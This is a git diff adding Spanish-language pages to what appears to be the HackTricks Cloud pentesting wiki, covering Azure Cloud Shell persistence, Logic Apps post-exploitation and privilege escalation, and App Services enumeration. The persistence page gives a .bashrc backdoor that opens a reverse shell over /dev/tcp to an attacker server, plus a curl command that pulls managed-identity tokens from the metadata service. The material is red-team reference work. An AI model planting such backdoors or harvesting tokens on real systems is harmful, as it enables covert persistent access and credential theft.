diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index d05776c71..4d0520541 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -409,6 +409,7 @@
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
+ - [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
@@ -452,6 +453,7 @@
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
+ - [Az - Logic Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md)
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
@@ -471,6 +473,7 @@
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
+ - [Az - Logic Apps Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md)
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md)
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md)
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
@@ -480,6 +483,7 @@
- [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md)
- [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
+ - [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md)
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
new file mode 100644
index 000000000..866376526
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
@@ -0,0 +1,56 @@
+# Az - Cloud Shell Persistence
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
+Learn & practice GCP Hacking:
[**HackTricks Training GCP Red Team Expert (GRTE)**
](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
+
+## Persistencia en Cloud Shell
+
+Azure Cloud Shell ofrece acceso a la l铆nea de comandos para gestionar recursos de Azure con almacenamiento persistente y autenticaci贸n autom谩tica. Los atacantes pueden explotar esto colocando puertas traseras en el directorio personal persistente:
+
+* **Almacenamiento Persistente**: El directorio personal de Azure Cloud Shell est谩 montado en un recurso compartido de archivos de Azure y permanece intacto incluso despu茅s de que la sesi贸n termina.
+* **Scripts de Inicio**: Archivos como .bashrc se ejecutan autom谩ticamente al inicio de cada sesi贸n, permitiendo la ejecuci贸n persistente cuando se inicia el cloud shell.
+
+Ejemplo de puerta trasera en .bashrc:
+
+{% code overflow="wrap" %}
+```bash
+echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
+```
+{% endcode %}
+
+Este backdoor puede ejecutar comandos incluso 5 minutos despu茅s de que el usuario haya terminado con el cloud shell.
+
+Adem谩s, consulta el servicio de metadatos de Azure para obtener detalles de la instancia y tokens:
+{% code overflow="wrap" %}
+```bash
+curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
+```
+{% endcode %}
+
+
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
+Aprende y practica Hacking en GCP:
[**HackTricks Training GCP Red Team Expert (GRTE)**
](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Apoya a HackTricks
+
+* Revisa los [**planes de suscripci贸n**](https://github.com/sponsors/carlospolop)!
+* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
new file mode 100644
index 000000000..9b70244e6
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
@@ -0,0 +1,181 @@
+# Az - Logic Apps Post Explotaci贸n
+
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
+Aprende y practica Hacking en GCP:
[**HackTricks Training GCP Red Team Expert (GRTE)**
](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Apoya a HackTricks
+
+* Revisa los [**planes de suscripci贸n**](https://github.com/sponsors/carlospolop)!
+* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+
+
+{% endhint %}
+
+## Explotaci贸n Post Base de Datos de Logic Apps
+Para m谩s informaci贸n sobre las aplicaciones l贸gicas, consulta:
+
+{% content-ref url="../az-services/az-logic-apps.md" %}
+[az-logic-apps.md](../az-services/az-logic-apps.md)
+{% endcontent-ref %}
+
+### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+Con estos permisos, puedes modificar los flujos de trabajo de Logic App y gestionar sus identidades. Espec铆ficamente, puedes asignar o eliminar identidades administradas asignadas por el sistema y por el usuario a los flujos de trabajo, lo que permite que la Logic App se autentique y acceda a otros recursos de Azure sin credenciales expl铆citas.
+
+{% code overflow="wrap" %}
+```bash
+az logic workflow identity remove/assign \
+--name \
+--resource-group \
+--system-assigned true \
+--user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/"
+```
+{% endcode %}
+
+### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
+Con estos permisos, puedes crear o actualizar Logic Apps alojados en un App Service Plan. Esto incluye modificar configuraciones como habilitar o deshabilitar la aplicaci贸n forzada de HTTPS.
+
+{% code overflow="wrap" %}
+```bash
+az logicapp update \
+--resource-group \
+--name \
+--set httpsOnly=false
+```
+{% endcode %}
+
+### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
+Con este permiso, puedes iniciar/detener/reiniciar una aplicaci贸n web, incluidas las Logic Apps alojadas en un App Service Plan. Esta acci贸n asegura que una aplicaci贸n que fue detenida previamente se vuelva a poner en l铆nea y reanude su funcionalidad. Esto puede interrumpir flujos de trabajo, activar operaciones no deseadas o causar tiempo de inactividad al iniciar, detener o reiniciar Logic Apps inesperadamente.
+
+{% code overflow="wrap" %}
+```bash
+az webapp start/stop/restart \
+--name \
+--resource-group
+```
+{% endcode %}
+
+
+### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
+
+Con este permiso, puedes configurar o modificar la configuraci贸n de las aplicaciones web, incluidas las Logic Apps alojadas en un App Service Plan. Esto permite cambios en la configuraci贸n de la aplicaci贸n, cadenas de conexi贸n, configuraciones de autenticaci贸n y m谩s.
+
+{% code overflow="wrap" %}
+```bash
+az logicapp config appsettings set \
+--name \
+--resource-group \
+--settings "="
+```
+{% endcode %}
+
+### "Microsoft.Logic/integrationAccounts/write"
+Con este permiso, puedes crear, actualizar o eliminar cuentas de integraci贸n de Azure Logic Apps. Esto incluye la gesti贸n de configuraciones a nivel de cuenta de integraci贸n como mapas, esquemas, socios, acuerdos y m谩s.
+
+{% code overflow="wrap" %}
+```bash
+az logic integration-account create \
+--resource-group \
+--name \
+--location \
+--sku \
+--state Enabled
+```
+{% endcode %}
+
+### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
+
+Con este permiso, puedes crear o modificar configuraciones de lotes dentro de una cuenta de integraci贸n de Azure Logic Apps. Las configuraciones de lotes definen c贸mo Logic Apps procesan y agrupan los mensajes entrantes para el procesamiento por lotes.
+
+{% code overflow="wrap" %}
+```bash
+az logic integration-account batch-configuration create \
+--resource-group \
+--integration-account-name \
+--name \
+--release-criteria '{
+"messageCount": 100,
+"batchSize": 1048576,
+}'
+```
+{% endcode %}
+
+### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
+Con este permiso, puedes crear o modificar mapas dentro de una cuenta de integraci贸n de Azure Logic Apps. Los mapas se utilizan para transformar datos de un formato a otro, lo que permite una integraci贸n fluida entre diferentes sistemas y aplicaciones.
+
+{% code overflow="wrap" %}
+```bash
+az logic integration-account map create \
+--resource-group \
+--integration-account-name \
+--name \
+--map-type \
+--content-type application/xml \
+--map-content map-content.xslt
+```
+{% endcode %}
+
+### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
+Con este permiso, puedes crear o modificar socios en una cuenta de integraci贸n de Azure Logic Apps. Los socios representan entidades o sistemas que participan en flujos de trabajo de negocio a negocio (B2B).
+
+{% code overflow="wrap" %}
+```bash
+az logic integration-account partner create \
+--resource-group \
+--integration-account-name \
+--name \
+--partner-type \
+--content '{
+"b2b": {
+"businessIdentities": [
+{
+"qualifier": "ZZ",
+"value": "TradingPartner1"
+}
+]
+}
+}'
+```
+{% endcode %}
+
+### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
+Con este permiso, puedes crear o modificar sesiones dentro de una cuenta de integraci贸n de Azure Logic Apps. Las sesiones se utilizan en flujos de trabajo B2B para agrupar mensajes y rastrear transacciones relacionadas durante un per铆odo definido.
+
+{% code overflow="wrap" %}
+```bash
+az logic integration-account session create \
+--resource-group \
+--integration-account-name \
+--name \
+--content '{
+"properties": {
+"sessionId": "session123",
+"data": {
+"key1": "value1",
+"key2": "value2"
+}
+}
+}'
+```
+{% endcode %}
+
+### "*/delete"
+Con estos permisos puedes eliminar recursos relacionados con Azure Logic Apps
+
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
+Aprende y practica Hacking en GCP:
[**HackTricks Training GCP Red Team Expert (GRTE)**
](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Apoya a HackTricks
+
+* Revisa los [**planes de suscripci贸n**](https://github.com/sponsors/carlospolop)!
+* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
new file mode 100644
index 000000000..412c1dc28
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
@@ -0,0 +1,77 @@
+# Az - Logic Apps Privesc
+
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
+Aprende y practica Hacking en GCP:
[**HackTricks Training GCP Red Team Expert (GRTE)**
](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Apoya a HackTricks
+
+* Revisa los [**planes de suscripci贸n**](https://github.com/sponsors/carlospolop)!
+* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+
+
+{% endhint %}
+
+## Logic Apps Privesc
+Para m谩s informaci贸n sobre SQL Database consulta:
+
+{% content-ref url="../az-services/az-logic-apps.md" %}
+[az-logic-apps.md](../az-services/az-logic-apps.md)
+{% endcontent-ref %}
+
+### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
+
+Con este permiso, puedes crear o actualizar flujos de trabajo de Azure Logic Apps. Los flujos de trabajo definen procesos automatizados e integraciones entre varios sistemas y servicios.
+
+{% code overflow="wrap" %}
+```bash
+az logic workflow create \
+--resource-group \
+--name \
+--definition \
+--location
+
+az logic workflow update \
+--name my-new-workflow \
+--resource-group logicappgroup \
+--definition
+```
+{% endcode %}
+
+Y despu茅s de cambiarlo, puedes ejecutarlo con:
+```bash
+az rest \
+--method post \
+--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \
+--body '{}' \
+--headers "Content-Type=application/json"
+```
+### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
+Con estos permisos, puedes implementar flujos de trabajo de Logic App utilizando implementaciones de archivos ZIP. Estos permisos permiten acciones como leer detalles de la aplicaci贸n, acceder a credenciales de publicaci贸n, realizar cambios y listar configuraciones de la aplicaci贸n. Junto con los permisos de inicio, puedes actualizar e implementar una nueva Logic App con el contenido deseado.
+
+{% code overflow="wrap" %}
+```bash
+az logicapp deployment source config-zip \
+--name \
+--resource-group \
+--src
+```
+{% endcode %}
+
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
+Aprende y practica Hacking en GCP:
[**HackTricks Training GCP Red Team Expert (GRTE)**
](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Apoya a HackTricks
+
+* Revisa los [**planes de suscripci贸n**](https://github.com/sponsors/carlospolop)!
+* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-services.md b/src/pentesting-cloud/azure-security/az-services/az-app-services.md
index c93e5d747..2b7a6bcb9 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-app-services.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-app-services.md
@@ -4,7 +4,7 @@
## Informaci贸n B谩sica del Servicio de Aplicaciones
-Azure App Services permite a los desarrolladores **crear, implementar y escalar aplicaciones web, backends de aplicaciones m贸viles y APIs sin problemas**. Soporta m煤ltiples lenguajes de programaci贸n e integra diversas herramientas y servicios de Azure para una funcionalidad y gesti贸n mejoradas.
+Azure App Services permite a los desarrolladores **crear, implementar y escalar aplicaciones web, backends de aplicaciones m贸viles y APIs sin problemas**. Soporta m煤ltiples lenguajes de programaci贸n e integra diversas herramientas y servicios de Azure para mejorar la funcionalidad y gesti贸n.
Cada aplicaci贸n se ejecuta dentro de un sandbox, pero la aislamiento depende de los planes de App Service:
@@ -44,10 +44,10 @@ Kudu es la plataforma que **gestiona tanto el SCM como una interfaz web y API**
Tenga en cuenta que las versiones de Kudu utilizadas por App Services y por Function Apps son diferentes, siendo la versi贸n de las Function Apps mucho m谩s limitada.
Algunos puntos finales interesantes que puede encontrar en Kudu son:
-- `/BasicAuth`: Necesita acceder a esta ruta para **iniciar sesi贸n dentro de Kudu**.
-- `/DebugConsole`: Una consola que permite ejecutar comandos en el entorno donde se est谩 ejecutando Kudu.
+- `/BasicAuth`: Necesita acceder a esta ruta para **iniciar sesi贸n en Kudu**.
+- `/DebugConsole`: Una consola que le permite ejecutar comandos en el entorno donde se est谩 ejecutando Kudu.
- Tenga en cuenta que este entorno **no tiene acceso** al servicio de metadatos para obtener tokens.
-- `/webssh/host`: Un cliente SSH basado en web que permite conectarse dentro del contenedor donde se est谩 ejecutando la aplicaci贸n.
+- `/webssh/host`: Un cliente SSH basado en web que le permite conectarse dentro del contenedor donde se est谩 ejecutando la aplicaci贸n.
- Este entorno **tiene acceso al servicio de metadatos** para obtener tokens de las identidades gestionadas asignadas.
- `/Env`: Obtenga informaci贸n sobre el sistema, configuraciones de la aplicaci贸n, variables de entorno, cadenas de conexi贸n y encabezados HTTP.
- `/wwwroot/`: El directorio ra铆z de la aplicaci贸n web. Puede descargar todos los archivos desde aqu铆.
@@ -60,10 +60,10 @@ Los App Services permiten cargar el c贸digo como un archivo zip por defecto, per
- Las fuentes de terceros actualmente soportadas son **Github** y **Bitbucket**.
- Puede obtener los tokens de autenticaci贸n ejecutando `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
-- Azure por defecto configurar谩 una **Acci贸n de Github** para implementar el c贸digo en el App Service cada vez que se actualice el c贸digo.
+- Azure por defecto configurar谩 una **Github Action** para implementar el c贸digo en el App Service cada vez que se actualice el c贸digo.
- Tambi茅n es posible indicar un **repositorio git remoto** (con nombre de usuario y contrase帽a) para obtener el c贸digo desde all铆.
- Puede obtener las credenciales del repositorio remoto ejecutando `az webapp deployment source show --name --resource-group ` o `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
-- Tambi茅n es posible usar un **Repositorio de Azure**.
+- Tambi茅n es posible usar un **Azure Repository**.
- Tambi茅n es posible configurar un **repositorio git local**.
- Puede obtener la URL del repositorio git con `az webapp deployment source show --name --resource-group ` y ser谩 la URL SCM de la aplicaci贸n.
- Para clonarlo necesitar谩 las credenciales SCM que puede obtener con `az webapp deployment list-publishing-profiles --resource-group -n `
@@ -89,7 +89,7 @@ Adem谩s, es posible dirigir un **porcentaje del tr谩fico** a un slot espec铆fico
B谩sicamente, **las aplicaciones de Azure Function son un subconjunto de Azure App Service** en la consola web y si va a la consola web y lista todos los servicios de aplicaciones o ejecuta `az webapp list` en az cli, podr谩 **ver las aplicaciones de Function tambi茅n listadas all铆**.
-Por lo tanto, ambos servicios en realidad tienen mayormente las **mismas configuraciones, caracter铆sticas y opciones en el az cli**, aunque pueden configurarlas de manera un poco diferente (como los valores predeterminados de appsettings o el uso de una Cuenta de Almacenamiento en las aplicaciones de Function).
+Por lo tanto, ambos servicios en realidad tienen mayormente las **mismas configuraciones, caracter铆sticas y opciones en el az cli**, aunque pueden configurarlas de manera un poco diferente (como valores predeterminados de appsettings o el uso de una Cuenta de Almacenamiento en las aplicaciones de Function).
## Enumeraci贸n
@@ -181,10 +181,55 @@ az webapp hybrid-connections list --name --resource-group
{{#tab name="Az Powershell" }}
```bash
+Get-Command -Module Az.Websites
+
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
+
+# Retrieves details of a specific App Service Environment in the specified resource group.
+Get-AzAppServiceEnvironment -ResourceGroupName -Name
+# Retrieves the access restriction configuration for a specified Web App.
+Get-AzWebAppAccessRestrictionConfig -ResourceGroupName -Name
+# Retrieves the SSL certificates for a specified resource group.
+Get-AzWebAppCertificate -ResourceGroupName
+# Retrieves the continuous deployment URL for a containerized Web App.
+Get-AzWebAppContainerContinuousDeploymentUrl -ResourceGroupName -Name
+# Retrieves the list of continuous WebJobs for a specified Web App.
+Get-AzWebAppWebJob -ResourceGroupName -AppName
+# Retrieves the list of triggered WebJobs for a specified Web App.
+Get-AzWebAppTriggeredWebJob -ResourceGroupName -AppName
+
+# Retrieves details of a deleted Web App in the specified resource group.
+Get-AzDeletedWebApp -ResourceGroupName -Name
+# Retrieves a list of snapshots for a specified Web App.
+Get-AzWebAppSnapshot -ResourceGroupName -Name
+# Retrieves the history of a specific triggered WebJob for a Web App.
+Get-AzWebAppTriggeredWebJobHistory -ResourceGroupName -AppName -Name
+
+# Retrieves information about deployment slots for a specified Web App.
+Get-AzWebAppSlot -ResourceGroupName -Name
+# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
+Get-AzWebAppSlotWebJob -ResourceGroupName -AppName -SlotName
+# Retrieves the triggered WebJobs for a specific deployment slot of a Web App.
+Get-AzWebAppSlotTriggeredWebJob -ResourceGroupName -AppName -SlotName
+# Retrieves the history of a specific triggered WebJob for a deployment slot of a Web App.
+Get-AzWebAppSlotTriggeredWebJobHistory -ResourceGroupName -AppName -SlotName -Name
+# Retrieves the continuous WebJobs for a Web App.
+Get-AzWebAppContinuousWebJob -ResourceGroupName -AppName
+# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
+Get-AzWebAppSlotContinuousWebJob -ResourceGroupName -AppName -SlotName
+
+# Retrieves the traffic routing rules for a Web App.
+Get-AzWebAppTrafficRouting -ResourceGroupName -WebAppName -RuleName
+
+# Retrieves details of a specific backup for a Web App.
+Get-AzWebAppBackup -ResourceGroupName -Name -BackupId
+# Retrieves the backup configuration for a Web App.
+Get-AzWebAppBackupConfiguration -ResourceGroupName -Name
+# Retrieves the list of all backups for a Web App.
+Get-AzWebAppBackupList -ResourceGroupName -Name
```
{{#endtab }}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md
new file mode 100644
index 000000000..6295733ea
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md
@@ -0,0 +1,58 @@
+# Az - Cloud Shell
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
+Learn & practice GCP Hacking:
[**HackTricks Training GCP Red Team Expert (GRTE)**
](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
+
+## Azure Cloud Shell
+
+**Azure Cloud Shell** es un terminal interactivo, autenticado y accesible a trav茅s del navegador, dise帽ado para gestionar recursos de Azure, ofreciendo la flexibilidad de trabajar con Bash o PowerShell. Se ejecuta en un host temporal por sesi贸n que se desconecta despu茅s de 20 minutos de inactividad, mientras persiste archivos en la ubicaci贸n $HOME utilizando un recurso compartido de archivos de 5 GB. Cloud Shell se puede acceder a trav茅s de m煤ltiples puntos, incluyendo el portal de Azure, shell.azure.com, la documentaci贸n de Azure CLI y PowerShell, la aplicaci贸n m贸vil de Azure y la extensi贸n de cuenta de Azure para Visual Studio Code.
+
+No hay permisos asignados a este servicio, por lo tanto, no hay t茅cnicas de escalada de privilegios. Adem谩s, no hay ning煤n tipo de enumeraci贸n.
+
+### Key Features
+
+**Environment**: Azure Cloud Shell proporciona un entorno seguro al ejecutarse en Azure Linux, la propia distribuci贸n de Linux de Microsoft dise帽ada para infraestructura en la nube. Todos los paquetes incluidos en el repositorio de Azure Linux son compilados internamente por Microsoft para protegerse contra ataques a la cadena de suministro.
+**Preinstalled Tools**: Cloud Shell incluye un conjunto completo de herramientas preinstaladas como Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git y editores de texto como vim, nano y emacs. Estas herramientas est谩n listas para usar. Para listar los paquetes y m贸dulos instalados, puedes usar "Get-Module -ListAvailable", "tdnf list" y "pip3 list".
+**$HOME persistence**: Al iniciar Azure Cloud Shell por primera vez, puedes usarlo con o sin una cuenta de almacenamiento adjunta. Elegir no adjuntar almacenamiento crea una sesi贸n ef铆mera donde los archivos se eliminan al finalizar la sesi贸n. Para persistir archivos entre sesiones, monta una cuenta de almacenamiento, que se adjunta autom谩ticamente como **$HOME\clouddrive**, con tu directorio **$HOME** guardado como un archivo **.img** en Azure File Share. Sin embargo, los archivos fuera de $HOME y los estados de la m谩quina no se persisten. Para almacenar de forma segura secretos como claves SSH, utiliza Azure Key Vault.
+**Azure drive (Azure:)**: PowerShell en Azure Cloud Shell incluye el Azure drive (Azure:), que permite una navegaci贸n f谩cil de los recursos de Azure como Compute, Network y Storage utilizando comandos similares a los del sistema de archivos. Cambia al Azure drive con cd Azure: y regresa a tu directorio personal con cd ~. A煤n puedes usar cmdlets de Azure PowerShell para gestionar recursos desde cualquier unidad.
+**Custom Tool Installation**: Los usuarios que configuran Cloud Shell con una cuenta de almacenamiento pueden instalar herramientas adicionales que no requieren permisos de root. Esta caracter铆stica permite una mayor personalizaci贸n del entorno de Cloud Shell, permitiendo a los usuarios adaptar su configuraci贸n a sus necesidades espec铆ficas.
+
+## References
+
+* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
+* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
+* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
+
+
+## Persistence
+
+{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
+[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
+{% endcontent-ref %}
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
+Learn & practice GCP Hacking:
[**HackTricks Training GCP Red Team Expert (GRTE)**
](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
